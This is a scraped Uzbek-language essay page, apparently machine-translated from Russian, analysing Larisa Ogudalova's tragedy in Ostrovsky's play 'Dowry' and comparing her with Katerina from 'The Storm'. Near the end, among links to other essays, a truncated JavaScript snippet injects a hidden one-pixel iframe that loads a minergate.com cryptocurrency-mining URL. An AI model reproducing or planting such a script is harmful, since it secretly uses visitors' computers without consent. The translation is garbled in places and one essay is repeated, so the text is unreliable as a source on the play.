Larisa Ogudalova - A. N. Ostrovskiyning "Mahr" spektaklining bosh qahramoni bo'lib, u birinchi marta nashr etilgan. Mahalliy eslatmalar"1879 yilda. Ostrovskiyning 70-80-yillardagi dramaturgiyasida asosiy mavzu "burjuaziya g'alabasi" davrida pul, mulk va boylik kuchiga aylanadi. Dramaturg rus hayotida cheksiz yirtqichlik, inson qadr-qimmatini kamsitish, sovuq hisob-kitob va xudbinlik elementlariga qarshi tura oladigan kuchlarni qidirishda davom etmoqda. Yozuvchining “qalbi iliq” inson taqdiriga bo‘lgan g‘amxo‘rligi, ayniqsa, mana shu hisob-kitob davrida ham his-tuyg‘u bilan yashashda, muhabbat, tushunish va baxt izlashda davom etadi. "Mahr" spektaklining qahramoni shunday.
Larisada hamma narsa bor - aql, iste'dod, go'zallik, sezgirlik. U qalbi pok va fidoyi. U odamlarga yaqinlashadi, ularga ishonadi, tushunish va o'zaro his-tuyg'ularga umid qiladi. Ammo Larisa uysiz va bu uning fojiali taqdirini oldindan belgilab beradi.
Larisaning onasi qizini yaxshiroq narxda turmushga berishga intiladi, u Larisani vaqt talab qiladigan qoidalar bo'yicha yashashga o'rgatadi, qizini yolg'on gapirishga va boyroq yoshlarga yaxshi munosabatda bo'lishga majbur qiladi. Ammo spektakl qahramoni hisob-kitob bilan harakat qila olmaydi. U yuragini kelishgan, aqlli va kuchli Sergey Sergeyevich Paratovga beradi. Ammo Paratov o'z davrining odami bo'lib, "Har bir mahsulotning o'z narxi bor" tamoyili asosida yashaydi. Larisa ham uning uchun tovar. Va u o'zini to'lashga tayyor emas moddiy farovonlik sevgi va baxt uchun. Paratov boy kelinga, to‘g‘rirog‘i, mahr sifatida berilgan oltin konlariga uylanadi.
Sevgi topa olmay, Larisa "hamma kabi" yashashga harakat qiladi. U kambag'al amaldor Yuliy Kapitonovich Karandishevga uylanishga qaror qiladi. O'zining tanlanganida Larisa xususiyatlarni qidiradi hurmatga loyiq: "Hech bo'lmaganda erimni hurmat qilishim kerak", deydi u. Ammo Karandishevni hurmat qilish qiyin. Knurov va Vozhevatov bilan solishtirishga behuda urinishlarida u kulgili va achinarli ko'rinadi. U Larisaning qishloqqa borish haqidagi iltimosini eshitmaydi, u erda u hech bo'lmaganda xotirjamlikni topadi. Yuliy Kapitonovich uchun uch yil davomida xo'rlanganlarga "o'z navbatida kulish" muhimroqdir. Uning Larisaning azobiga vaqti yo'q!
Karandishev bilan ajrashgandan so'ng, Paratovning aldovidan so'ng, Larisa bolalikdagi do'sti Vozhevatovga murojaat qilib, oddiy insoniy hamdardlik izlaydi: "Xo'sh, hech bo'lmaganda men bilan yig'lang", deb so'radi u. Biroq, Vozhevatov allaqachon Knurovga Larisaning taqdiriga ta'sir qilish imkoniyatini yo'qotgan. "Men qila olmayman, men hech narsa qila olmayman", - Vozhevatovning Larisaga javobi. Saytdan olingan material
Na sevgi, na hurmat, na oddiy rahm-shafqat va tushunishni topib, Larisa hayotning ma'nosini yo'qotadi. U achchiq ohangda shunday deydi: “Ular menga qarashdi va hozir ham hazil qilgandek qarashadi. Hech kim mening qalbimga qarashga urinmadi, men hech kimdan hamdardlik ko'rmadim, iliq, samimiy so'z eshitmadim. Ammo bunday yashash sovuq ».
Karandishevning zarbasi uning uchun ruhiy azoblardan, "narsaning" qo'pol hayotidan xalos bo'ladi, buning uchun pul to'lashi mumkin bo'lganlar qo'lidagi o'yinchoq. "O'zingizni haqorat qiladigan hech narsa yo'q bo'lganda o'lish" - bu hisob va behuda dunyoda "qaynoq yurak" uchun qolgan eng yaxshi narsa.
Bu Larisaning shaxsiy fojiasi. Ammo bu ham pul hukmronlik qiladigan va insonning baxti faqat ularning miqdori bilan o'lchanadigan jamiyatning fojiasi.
Izlagan narsangizni topa olmadingizmi? Qidiruvdan foydalaning
Ushbu sahifada quyidagi mavzular bo'yicha materiallar mavjud:
- uysiz ayol Larisaning fojiasi
- Larisa Ogudalovaning taqdiri fojiasiga qaraganda
- Larisaning fojiasi nima mavzusida xabar
- Ostrovskiy sehr Ogudalovaning fojiasi nima
- Sehrdagi Larisaning taqdiri qanday bo'lishi mumkin
Larisa Ogudalova - romantika qahramoni
Ostrovskiy milliy ayol rolini o'ynaydi
Larisa Ogudalova - Katerina Kabanovadan kam bo'lmagan mashhur obraz va undan kam tortishuvlarga sabab bo'ladi. Asosiy savol Larisaning axloqining kuchi va uning so'nggi so'zlarining ma'nosi masalasi bo'lib qolmoqda. Ostrovskiy chinakam qarama-qarshi obraz yaratdi; ishning ushbu qismida biz Larisa Ogudalovaning xarakterining asl kuchi nimada va nega u ma'naviy pok Katerinadan farqli o'laroq, uning timsoli bo'lib qolmoqda degan savolga javob topishga harakat qilamiz. ayol fojiasi.
Ushbu tasvirning zamonaviy tushunchasi asosan filmni idrok etishga asoslangan mashhur film"Shafqatsiz romantika", rejissyor versiyasining yozishmalari haqida bahslashmoqda va muallifning niyati Biz buni qilmaymiz, lekin bizga filmning nomi spektakl uslubini juda aniq aks ettirganga o'xshaydi. A-prior, shafqatsiz romantika- bu bo'rttirilgan fojiali pafos bilan to'ldirilgan, sentimental, ammo katarsis tuyg'usini bermaydigan shahar sevgisi balladasi, bu fojiali pafos spektaklning barcha asosiy qahramonlariga xosdir, Larisaning o'zidan tashqari, chayqadek uchib ketadi - uning ismining ildizini bergan qush - ruhiy jihatdan yuqorida kichik odamlar. "Mahr" - kundalik hayot va axloq haqidagi spektakl, lekin unda biz "Momaqaldiroq"da uchragan yutuq yo'q. Larisaning o'limi Larisaning o'zi tomonidan berilgan emas, balki bu qahramonning darhol tanlovining natijasidir. oxirgi daqiqa u o'z xayollari asirida, shuning uchun uning o'limi o'z joniga qasd qilish emas, balki Karandishevning zarbasi. Lotman "Ostrovskiy va o'z davrining rus dramasi" maqolasida qahramon Larisa Ogudalovaning fojiasiga baho beradi: " zamonaviy ayol, o'zini shaxs sifatida his qiladigan, hayotiy muhim qarorlarni mustaqil ravishda qabul qiladigan, jamiyatning shafqatsiz qonunlariga duch kelgan va ular bilan na murosa qila oladi, na yangi ideallar bilan ularga qarshi turolmaydi. Sehr ostida kuchli odam, yorqin shaxs, u darhol uning jozibasi boylik unga beradigan kuchdan va "kapital kollektorining" shafqatsiz shafqatsizligidan ajralmas ekanligini darhol anglamaydi. Larisaning o'limi - fojiali chiqish zamonning yechilmagan axloqiy ziddiyatlaridan”.
"Mahr" pyesasi 19-asrning 70-yillari oxirida, yangi boylik - boy savdogarlar g'alaba qozongan paytda, hamma narsa bo'lganida yozilgan. ko'proq ta'sir qiladi pul odamlarga ta'sir qildi, haqiqiy qadriyatlarni yashirdi. Fojiali oqibatlar bu taqdirda o'z aksini topdi bosh qahramon dramalar. Larisa yumshoq, sof qiz, lekin u eng yaxshi tarbiyalangan Evropa an'analari- unga nima bo'lishi kerakligi o'rgatilgan Yevropalik qiz: yaxshi xulq-atvor Va musiqiy ta'lim. Ammo Larisa bu ta'limning asl ma'nosini tushunmaydi, bu faqat qimmatbaho narsa uchun chiroyli ramka. Ikki qizini allaqachon muvaffaqiyatli "joylashtirgan" onasi, ularning hech biri baxt topmagan, Larisaga badavlat odam bilan muvaffaqiyatli turmush qurishni bashorat qilmoqda. Oqsoqol Ogudalova qizining manfaati uchun harakat qilmaydi, bu foyda dunyosida fojia onaning o'z manfaati uchun qizini qimmatroq narxga sotishga harakat qilishidan boshlanadi.
Larisa mahrum ona sevgisi, u Katerina kabi umuman sevgidan mahrum va uning yuragi bu sevgi etishmasligini to'ldirishni talab qiladi. Bu erda u qalbi "kimdir" ni kutgan Tatyana Larina obraziga yaqinroq, ammo Tatyanadan farqli o'laroq, uning hikoyasi nikoh bilan tugaydi, garchi sevilmagan bo'lsa ham, lekin u va jamiyat tomonidan hurmat qilinadigan Tatyana, Larisani sevadigan odam bilan. u tanlagan Paratovdan ham, kuyovi Karandishevdan ham munosib sevgini olmaydi.
Larisa, sodda yosh qiz, onasining irodasiga ko'ra, u ko'chib o'tishi kerak bo'lgan jamiyatda hamma narsa pul bilan belgilanishiga ishonolmaydi. "U olijanob tarbiya an'analarini o'zida mujassam etgan va uning fe'l-atvori tashqi ulug'vorlikka intilish, hayotning dabdabali olijanobligi va tabiatining chuqurroq, ichki xususiyatlari - jiddiylik, rostgo'ylik va samimiy va samimiy munosabatlarga chanqoqlik o'rtasidagi keskin ziddiyatni ochib beradi. . Bunday qarama-qarshilik o'sha paytda jamiyatning imtiyozli qatlamlarining eng yaxshi vakillari hayotida uchragan hodisa edi". Uning ongida, albatta, u hamma narsani juda yaxshi biladi, opa-singillarining taqdiri buning aniq dalilidir, lekin uning qalbi buni qabul qila olmaydi. Bu oilada chinakam yuksak tuyg'uga intiladigan va go'yo uni "zor usta" Sergey Sergeyevich Paratov timsolida topadigan shunday pokiza va muhabbatga chanqoq qiz qanday qilib ulg'aygani hayratlanarli. Olovli yurak ayoli, Larisa sevgi izlaydi, unda hech qanday hisob-kitob yoki qo'pollik yo'q: "Axir, Larisa Dmitrievnada dunyoviy, bu dunyoviy narsa yo'q", deb ta'kidlaydi Knurov. U yuksaklikni qidiradi go'zal sevgi, xushmuomalalik bilan go'zal hayot. Larisa ko'r-ko'rona ishonadi, Paratov uni sevgandek samimiy va beparvolik bilan sevadi va bu uning fojiasi. Katerina va Larisa ikkalasi ham o'z tanlagan kishiga mavjud bo'lmagan ruhiy go'zallik berishga qodir ekanligi bilan birlashadi, ammo agar Katerina o'z xatosi haqida bilsa, garchi u bu bilimni yashirsa ham, Larisa bu faqat o'zida ekanligini ko'rmaydi. Paratov xususiyatlariga ega bo'lgan dunyo ideal odam kim sevishga qodir.
"Ammo Larisaning tanlagani savdogarlar Knurov va Vozhevatovning ishbilarmonlik qobiliyatiga ega bo'lmagan holda, allaqachon ularning axloqini to'liq o'zlashtirishga muvaffaq bo'lgan; u Knurovga tan olgani bejiz emas: "Men, Mokiy Parmenich, hech narsani qadrlamayman; Agar foyda topsam, hamma narsani sotaman." Larisa sevgilisini o'ziga va Karandishevga shunday tortadi: "Siz o'zingiz nimanidir demoqchisiz, siz yaxshisiz, adolatli odam; lekin Sergey Sergeyich bilan solishtirganda, siz hamma narsani yo'qotasiz ... Sergey Sergeyich ... bu odamning idealidir. Biz Larisa Ogudalovaning o'qish diapazonini aniq aniqlay olmaymiz, lekin u o'sgan deb taxmin qilishimiz mumkin. romantik hikoyalar, va u erdan u o'zining idealini oldi, uning timsoli Paratova ko'radi: erkaklik, jasorat, jasorat va sharaf ideali. Larisa bu odamga tanqidiy qarashga qodir emas: Kavkaz ofitseri bilan bo'lgan epizod, Paratov o'zining xotirjamligi va aniqligini namoyish qilish uchun qo'lida ushlab turgan nishonga o'q uzganida, u uning "idealligi" ning isboti sifatida qabul qiladi. ”, "ideallik" ga juda o'xshash romantik qahramonlar. Garchi aslida bu epizod faqat maqtanish va mag'rurlik haqida gapirsa ham, buning uchun Sergey Sergey hech ikkilanmasdan o'zining va boshqalarning hayotini xavf ostiga qo'yadi.
Aslida " ideal odam"Sergey Sergey qo'rqoq va eng past darajadagi qo'rqoq, chunki u kapitalsiz qolishdan qo'rqadi va shuning uchun turmushga chiqadi. boy ayol, va uning Larisaga bo'lgan "ehtiros portlashi" bu shunchaki Karandyshev bilan o'yin, unga Paratov shunday axloqsiz tarzda "joyni ko'rsatadi", hamma narsadan juda yaxshi xabardor edi va o'z harakatlarini aniq hisoblab chiqdi. Uning uchun Larisa go'zal narsa, o'yinchoq, uni qandaydir ahamiyatsiz Karandishev to'satdan olib qo'ygan. Spektakl qahramoni Paratov bilan ketish orqali o'zini murosa qiladi, lekin u hali gunohini bilmaydi, faqat Sergey Sergeevich bilan suhbatdan so'ng, u sevgisi o'zi tomonidan qurilgan illyuziya ekanligini tushunadi. Larisa sehrlangan va sehrlangan dunyoda yashaydi, o'yin davom etar ekan, yo'q qilinadi. U Katerina kabi ma'naviy kuchga ega emas, bu "Momaqaldiroq" qahramoniga o'zining fojiali yakunini kutishga imkon bergan tushuncha ruhi, u dunyodan emas, balki hozircha faqat sevgilisidan hafsalasi pir bo'lgan. U hali ham uning atrofidagi dunyo, garchi shafqatsiz bo'lsa ham, hech bo'lmaganda u qat'iyat bilan qurgan romantik dunyoga o'xshamaydi, deb hisoblaydi.
O'yin davomida Larisa ruhan o'smaydi, u ruhiy jihatdan ko'rishni boshlaydi, ko'zlari ochiladi, lekin ichki o'sish sodir bo'lmaydi, ammo buning sababi Larisada umuman ruhiy printsipning yo'qligi emas. Larisada pulning mustahkam o'rnatilgan kuchini sindirishga qodir bo'lgan bunday kuch yo'q, u bu dunyoni faqat o'z tasavvurlari bilan yaratilgan xayoliy dunyoga qoldirishga qodir, lekin u jang qilish uchun kuchga ega emas. Oxir-oqibat, o'z sevgilisining xiyonati bilan singan, "idealning yolg'onligi oshkor bo'lgan, u nomidan u har qanday qurbonlik qilishga tayyor" va uning oldida "butun xunukligi bilan mavqega ega bo'lgan" qiz. u halokatga mahkum - qimmatbaho narsaning roli oshkor bo'ldi, - deb yana bir bor o'z atrofida "pilla" turini qurishga harakat qilish uchun ayol bo'lishga qaror qiladi, Knurovning puli, agar chiroyli sevgi bo'lmasa, qurish uchun. keyin hech bo'lmaganda go'zal hayot. Siz Larisani ma'naviyat yo'qligida ayblashingiz mumkin, chunki bunday qaror axloqsizdir va uning o'zi "uning oldida oltin porladi" deb aytadi, ammo bu qaror butunlay umidsizlikda qabul qilingan qaror va uning fikricha bu istak bilan tengdir. o'lish. U ruhiy o'lim kutayotganini tushunadi va tananing o'limi bilan ruhning o'limi o'rtasida ikkilanadi. TO fojiali yakun Larisani atrofidagilar uni sotib olish mumkin bo'lgan qimmatbaho, chiroyli narsa sifatida ko'rishini tushunishiga olib keladi. U achchiq so‘zlarni aytadi: “Bir narsa... ha, bir narsa! To‘g‘ri aytadilar, men narsaman, odam emasman... Har narsaning egasi bo‘lishi kerak, egasiga boraman”. O'zini bir narsaga o'xshatib, Larisa bir zumda o'zining barcha ruhiy fazilatlaridan voz kechadi, lekin ular o'zlarini namoyon qiladilar: qiz oddiy ayolga, ular uchun sevgini his qilmaydigan va o'zini sevmaydigan o'yinchoqqa aylana olmaydi.
Larisa birinchi marta o'z joniga qasd qilish haqida gapirganda, u faqat Paratovni qaror qabul qilishga undaydi, chunki u Larisaga qulay bo'lib tuyuldi: "Baxtsiz odamlar uchun Xudo dunyosida juda ko'p joy bor: bu erda bog', bu erda Volga. Bu erda siz o'zingizni har bir shoxga, Volgaga osib qo'yishingiz mumkin - istalgan joyni tanlang. Agar sizda xohish va kuch bo'lsa, o'zingizni istalgan joyda cho'ktirish oson ", - u hali o'z joniga qasd qilish haqida jiddiy o'ylamaydi. Volga va bog 'to'g'risidagi so'zlar uning sevgilisini qo'rqitish uchun mo'ljallangan, ammo Knurov uni ushlab turuvchi ayol bo'lishga taklif qiladi va ma'nosi bilan ta'kidlaydi: "Menga oz narsa qilish mumkin emas", o'lim haqidagi fikrlar haqiqatga aylanadi. Larisa shunday deydi: “Hayotdan voz kechish men o'ylaganchalik oson emas. Shunday qilib, kuch yo'q! Men qanchalik baxtsizman! Lekin shunday odamlar borki, ular uchun bu oson... Oh, men nimaman!... lekin menga hech narsa yoqimli emas, yashashga esa sabab yo‘q! Nega ikkilanyapman? Meni bu tubsizlikdan nima ushlab turadi? Sizga nima to'sqinlik qilmoqda? Oh, yo'q, yo'q... Knurov emas, hashamat, yorqinlik ... yo'q, yo'q ... men buni behudalik uchun qarzdorman ... buzuqlik ... oh, yo'q ... menda qat'iyat yo'q. . Achinarli zaiflik: hech bo'lmaganda qandaydir tarzda yashash uchun, lekin yashash uchun ... Siz yashay olmaganingizda va kerak bo'lmaganda. Qanchalar achinarli va baxtsizman... Qani endi birov meni o‘ldirsa... O‘lish naqadar yaxshi... Hali o‘zimni qoralaydigan hech narsa yo‘q. Yoki kasal bo'lib, o'la ... Ha, men kasal bo'lib qolaman deb o'ylayman. O‘zimni yomon his qilyapman!.. Men uzoq vaqt kasal bo‘laman, tinchlanasan, hamma narsaga rozi bo‘lasan, hammani kechirasan va o‘lasan... Oh, qanday yomon, qanday bosh aylanishi."
Hatto go'zal hayot istiqboli ham Larisani tasalli etmaydi, u "buzg'unchilik" so'zini aytadi, ya'ni u Knurov taklif qilgan istiqbolning ulkanligini anglaydi, ya'ni ma'naviyat unda kuchli. Epifaniya paytigacha Larisa sevgi bilan yashadi, unda axloq va axloq tushunchalaridan kuchliroq edi, ayniqsa, bunday tushunchalar uning tarbiyasida ustuvor ahamiyatga ega emas edi; Endi u o'zida Katerina singari din bilan bog'liq emas, balki "ideal" ni tushunish bilan bog'liq bo'lgan axloqiy qonunni his qiladi, bu esa, ma'lum bo'lishicha, axloqdan ajralmasdir.
Karandishev kelinga Knurov va Vozhevatovning unga zarba berishini aytganida, Larisaning qalbida fojiali buzilish sodir bo'ladi, u endi o'z atrofida illyuziya qura olmaydi - haqiqiy dunyo uning tasavvuridan kuchliroq bo'lib chiqdi, u endi bu dunyoda yashay olmaydi. Uning rafiqasi, mahalliy millionerlar doirasining a'zosi bo'lgan Karandishev, o'zining kamchilik majmuasini engish vositasiga aylanishi kerak edi, Larisaga o'zi bilmagan holda, uning ichki istagini amalga oshirishga yordam beradi: "Agar kimdir meni hozir o'ldirsa edi. ...” - uni qutqaradi, joni va tanasini buzuqlik bilan bulg'amasdan, o'z go'zalligini tovarga aylantirmasdan ketishga imkon beradi. O'limidan bir daqiqa oldin u o'z qotilini suddan qutqarib, uning o'limining haqiqiy aybdorlari Paratov, Knurov, Vozhevatovni o'z joniga qasd qilganiga ishontirib, haqiqiy olijanoblikni ko'rsatadi. Uning so'zlarini boshqacha talqin qilish mumkin bo'lsa-da: men Larisa o'z qalbining kuchi bilan hali ham dunyoga ta'sir qilishi mumkinligi haqidagi fantastik g'oyaga ishonmoqchiman va uning o'limiga Karandishevning zarbasi emas, balki uning qat'iyati imkon beradi. ... “Men o‘zimman... Hech kim aybdor emas, hech kim... Menman”.
"Paratov qo'shiqchi lo'lilarga jahl bilan qichqiradi: "Ularga ayting, jim bo'lsinlar! Menga ayting-chi, jim bo‘lsin!” - lekin o'layotgan Larisa Paratovning buyrug'iga kinoya bilan qarshi chiqish uchun kuchga ega: "Yo'q, yo'q, nega!.. Ular zavqlansin, kimdir zavqlansin, kimdir zavqlansin ... Men hech kimni bezovta qilmoqchi emasman. Hamma narsani yashang, yashang! Siz yashashingiz kerak, lekin men ... o'lishim kerak. Men hech kimdan nolimayman, hech kimdan ranjimayman... yaxshi odamlar..." uning hayoti chuqur samimiy e'tirof bilan tugaydi: "Men barchangizni ... barchangizni yaxshi ko'raman", - uning dunyosi g'alaba qozonadi, lekin u og'riq orqali, umidsizlik orqali shunday ruhiy kuchga ega bo'ldi, yuqoriga ko'tarildi. shunday cho'qqisiga ki, butun qalbi bilan u shafqatsizlik va foyda olamiga kechirim va o'pish berdi.
Larisa oxir-oqibat Katerina kabi kuchli bo'lib chiqdi, garchi u dunyoda hech narsani o'zgartirmagan bo'lsa-da, lekin u dunyoni kechira oldi. Qushchi qiz oxir-oqibat o'sha Volgada qabr topadi, ya'ni ozod bo'ladi. Larisa Ogudalova xarakterining haqiqiy kuchi uning sevish va kechirish qobiliyatida, fidoyiligida, dunyoga sodda ishonchidadir. Kuch pulga tegishli bo'lgan dunyoda yana qanday qahramon sevgiga ko'r-ko'rona ishonishga qodir? O'limidan oldin, bir necha soat ichida sevgidan, dunyodan, o'zidan umidsizlikni boshdan kechiradigan, lekin dunyoga o'pish orqali o'lishi mumkin bo'lgan bu qiz kuchli emasmi? Dunyo o'zgarmaydi, lo'lilar xori qo'shiq aytmoqda va Larisa bu "hayot bayrami" ning zavqini to'xtatishni talab qilmaydi, u shunchaki ketadi va ketadi. toza ruh va nafrat bilan bulutlanmagan sof qalb bilan. Menimcha, bu uning haqiqiy kuchi.
Ostrovskiy pyesalari qahramonlari ko'pincha ayollarga aylanadi. Albatta, bu ayollar g'ayrioddiy va g'ayrioddiy shaxslardir. Drama qahramoni Groza Katerinani eslash kifoya. U shunchalik hissiyotli va ta’sirchanki, u asardagi boshqa qahramonlardan ajralib turadi. Katerinaning taqdiri Ostrovskiyning boshqa qahramonining taqdiriga biroz o'xshaydi. IN Ushbu holatda haqida gapiramiz Dowry spektakli haqida.
Larisa Ogudalova atrofidagilarning befarqligi va shafqatsizligini boshdan kechirishi, sevgi dramasidan omon qolishga majbur bo'ldi va natijada u xuddi Momaqaldiroq qahramoni kabi vafot etdi. Ammo ko'rinadigan o'xshashlikka qaramay, Larisa Ogudalova Katerina Kabanovadan butunlay boshqacha xarakterga ega. Qiz ajoyib ta'lim oldi. U aqlli, nafosatli, o'qimishli, go'zal sevgini orzu qiladi, lekin dastlab uning hayoti butunlay boshqacha bo'ladi. U uysiz. Larisaning onasi juda xudbin. Qizlarining go‘zalligini, yoshligini sotadi. Larisaning katta opa-singillari allaqachon o'zlarining zukko ota-onasining g'amxo'rligi tufayli yashashgan, ammo, afsuski, ularning hayoti juda fojiali tarzda rivojlanmoqda.
Larisa Ogudalova ajoyib janob Sergey Sergeevich Paratovni sevib qoladi. U chin dildan uni ideal odam deb biladi. Ustaning boyligi bor, u olijanob va g'oyasiga to'liq mos keladi o'qimishli odam. Ichki mohiyat keyinroq ma'lum bo'ladi. Larisa yosh va tajribasiz, shuning uchun u Paratovning tuzog'iga tushib, o'zini vayron qiladi. U kuchli xarakterga ega emas va boshqalarning qo'lida o'yinchoq bo'lib qoladi. Bu qizga o'ynaladigan nuqtaga keladi. Atrofdagilar uni qimmatbaho va chiroyli o'yin-kulgi deb bilishadi, lekin uning yuksak ruhi, go'zalligi va iste'dodi ahamiyatsiz bo'lib chiqadi. Karandyshev Larisaga shunday deydi: Ular sizga ayol sifatida emas, balki shaxs sifatida qarashadi ... ular sizga narsa sifatida qarashadi.
Uning o‘zi ham bunga qo‘shiladi: Bir narsa... ha, bir narsa! Ular haq, men bir narsaman, men odam emasman...
Larisaning yuragi qizg'in, u samimiy va hissiyotlidir.U o'z sevgisini saxiylik bilan beradi, lekin buning evaziga u nima oladi?Uning sevimli odami uchun Larisa - bu navbatdagi o'yin-kulgi, o'yin-kulgi. Umidsizlikdan u hatto Knurovning shartlarini qabul qilishga rozi bo'ladi.
O'lim - bu Larisa uchun najotning bir turi, ruhiy najot, albatta. Shunday qilib fojiali yakun uni qilmoqchi bo'lgan qiyin tanlovdan qutqaradi, uni qutqaradi ma'naviy halokat va tubsizlik deb ataladigan tubsizlikka tushish.
A. N. Ostrovskiyning "Momaqaldiroq" dramasi 1960 yil arafasida nashr etilgan. inqilobiy vaziyat Rossiyada. Asarda yozuvchining 1856 yil yozida Volga bo'ylab sayohati taassurotlari aks etgan. Ammo "Momaqaldiroq" da biron bir aniq Volga shahri va aniq shaxslar tasvirlanmagan. Ostrovskiy Volga bo'yi hayotiga oid barcha kuzatishlarini qayta ishladi va ularni rus hayotining chuqur tipik rasmlariga aylantirdi.
Drama janri shaxs va uning atrofidagi jamiyat o‘rtasidagi ziddiyatga asoslanganligi bilan ajralib turadi. "Momaqaldiroq" filmida bu odam Katerina Kabanova.
Katerina o'zini namoyon qiladi axloqiy poklik, ruhiy go'zallik Rus ayoli, uning irodaga, erkinlikka intilishi, nafaqat chidash, balki o'z huquqlarini himoya qilish qobiliyati, inson qadr-qimmati. Dobrolyubovning so'zlariga ko'ra, u "o'zida inson tabiatini o'ldirmagan".
Katerina - rus milliy xarakter. Avvalo, bu Ostrovskiy tomonidan aks ettirilgan bo'lib, u barcha boyliklarga mukammal ega edi xalq tili, qahramonning nutqida. U gapirganda, u qo'shiq aytayotganga o'xshaydi. Og'zaki she'riyatida tarbiyalangan oddiy xalq bilan bog'liq bo'lgan Katerina nutqida yuqori she'riyat, tasviriylik va hissiylik bilan ajralib turadigan so'zlashuv lug'ati ustunlik qiladi. O'quvchi musiqa va ohangdorlikni his qiladi; Katya nutqi eslatadi xalq qo'shiqlari. Ostrovskaya qahramonining tili takrorlash bilan tavsiflanadi ("yaxshi C darajasi", "odamlar men uchun jirkanch, uy men uchun jirkanch, devorlar esa jirkanch!"), ko'plab mehrli va kamaytiruvchi so'zlar ( "Quyosh", "voditsa", "qabr"). , taqqoslash ("u hech narsadan qayg'urmadi, yovvoyi qush kabi", "kimdir menga yaxshi gapiradi, kaptar qush kabi"). Borisni sog'inib, ruhiy kuchning eng zo'riqish paytida, Katerina o'z his-tuyg'ularini tilda ifodalaydi. xalq she’riyati, xitob qildi: "Shiddatli shamollar, mening qayg'u va g'amginligimni unga topshiring!"
Fojiali taqdir"Larisa" qorong'u shohlik"(A. N. Ostrovskiyning "Mahr" pyesi asosida)
Ostrovskiy pyesalari qahramonlari ko'pincha ayollarga aylanadi. Albatta, bu ayollar g'ayrioddiy va g'ayrioddiy shaxslardir. "Momaqaldiroq" dramasi qahramoni Katerinani eslash kifoya. U shunchalik hissiyotli va ta’sirchanki, u asardagi boshqa qahramonlardan ajralib turadi. Katerinaning taqdiri boshqa Ostrovskiy qahramonining taqdiriga o'xshaydiBu holda biz "Mahr" spektakli haqida gapiramiz.
Larisa Ogudalova atrofidagilarning befarqligi va shafqatsizligini boshdan kechirishi, sevgi dramasidan omon qolishga majbur bo'ldi va natijada u xuddi "Momaqaldiroq" qahramoni kabi vafot etdi. Ammo ko'rinadigan o'xshashlikka qaramay, Larisa Ogudalova Katerina Kabanovadan butunlay boshqacha xarakterga ega. Qiz ajoyib ta'lim oldi. U aqlli, nafosatli, o'qimishli, go'zal sevgini orzu qiladi, lekin dastlab uning hayoti butunlay boshqacha bo'ladi. U uysiz. Larisaning onasi juda xudbin. Qizlarining go‘zalligini, yoshligini sotadi. Larisaning katta opa-singillari allaqachon topqir ota-onasining g'amxo'rligi tufayli "joylashgan", ammo, afsuski, ularning hayoti juda fojiali tarzda rivojlanmoqda.
Larisa Ogudalova "yorqin usta" Sergey Sergeevich Parani sevib qoladi. U chin dildan uni ideal odam deb biladi. Ustaning boyligi bor, u olijanob va o'qimishli inson g'oyasiga to'liq mos keladi. Uning ichki mohiyati keyinroq ochiladi. Larisa yosh va tajribasiz, shuning uchun u Paraᴛᴏʙa tuzog'iga tushib qoladi va o'zini vayron qiladi. U kuchli xarakterga ega emas va boshqalarning qo'lida o'yinchoq bo'lib qoladi. Bu qizga o'ynaladigan nuqtaga keladi. Atrofdagilar uni qimmatbaho va chiroyli o'yin-kulgi deb bilishadi, lekin uning yuksak ruhi, go'zalligi va iste'dodi ahamiyatsiz bo'lib chiqadi. Karandishev Larisaga shunday deydi: "Ular sizga ayol sifatida emas, balki shaxs sifatida qarashadi ... ular sizga narsa sifatida qarashadi."
Uning o'zi ham bunga qo'shiladi: “Bir narsa... ha, bir narsa! Ular haq, men narsaman, men odam emasman...”.
Larisaning ehtirosli yuragi bor, u samimiy va hissiyotlidir, u saxiylik bilan sevgisini beradi, lekin buning evaziga nima oladi? Sevimli odam uchun Larisa o'yin-kulgi va o'yin-kulgining yana bir shaklidir. Umidsizlikdan u hatto Knurovning shartlarini qabul qilishga rozi bo'ladi.
O'lim - bu Larisa uchun najotning bir turi, ruhiy najot, albatta. Bunday fojiali yakun uni o‘zi qilmoqchi bo‘lgan qiyin tanlovdan qutqaradi, ma’naviy o‘limdan va buzuqlik deb ataladigan tubsizlikka qulashdan qutqaradi.
Sahifa 1 dan 1
"Yonayotgan Ukraina" film hikoyasi: muallifning qarashlari va baholashlari prizmasida xalq taqdiri
(function() (var w = document.createElement("iframe"); w.style.border = "yo'q"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden" var s = document.getElementsByTagName("body");...
Grossmanning "Hayot va taqdir" romanidagi Vatan urushi qahramonlari
Buyuk haqida Vatan urushi ko'p yozilgan. Bu haqdagi ilk asarlar 40-yillarning oʻrtalarida paydo boʻla boshlagan, shundan beri urush haqidagi romanlar, hikoyalar, sheʼrlar uzluksiz oqimda nashr etilmoqda. Va ularning ko'plari, afsuski, butunlay o'rtacha va o'qib bo'lmaydigan edi.
A.Malishko ijodida inson taqdiri va ona yurtga muhabbat
Andrey Samoylovich Malyshko - tarixdagi favqulodda shaxs Ukraina madaniyati. Uning ko'p qirrali iste'dodi turli sohalarda o'zini namoyon qildi, ammo she'riyat ilhomi yozuvchi uchun eng ma'qul edi. Uning ijodi yigirmadan ortiq to'plam va o'n etti she'rni o'z ichiga oladi, ularda muallif keng tematik ufqlarni qamrab oladi. Lekin shoir mehnatkash, vatanparvar inson haqida o‘zgacha vahimali, iliqlik bilan yozadi. Vatan“Vatan” she’rida hayot, donishmandlik, go‘zallik, onalik g‘amxo‘rligi manbai sifatida tasvirlangan. U, yozuvchi haqli ravishda ishonganidek, ba'zilariga egalik qiladi sehrli kuch, chunki u "non ... bulbul qo'shiqlari bilan" berganlar tabiiy kuchga ega bo'ladilar: ...
Taras Shevchenkoning fojiali taqdiri
Ma’lumki, Shevchenko dehqon serfning o‘g‘li bo‘lib, o‘zi ham serf edi. Ulug‘ shoirning otasi va onasi ortiqcha mehnat, mahrumlik va kasallikdan bevaqt vafot etdilar. Taras Shevchenkoni ham shunday taqdir kutgandi. O'n bir yoshida etim qoldi, u majburiy mehnatning chidab bo'lmas mashaqqatlarini boshidan kechirdi va "bechora jilmayuvchi dehqon"ning qayg'usini his qildi. Shevchenko o'ta og'ir sharoitlarda yashagan, juda kambag'al, tez-tez och qolgan va kasal bo'lgan...
Rus adabiyotida inqilob, fuqarolar urushi va rus ziyolilarining taqdiri mavzusi (Pasternak, Bulgakov) Oq gvardiya Bulgakov M.A.
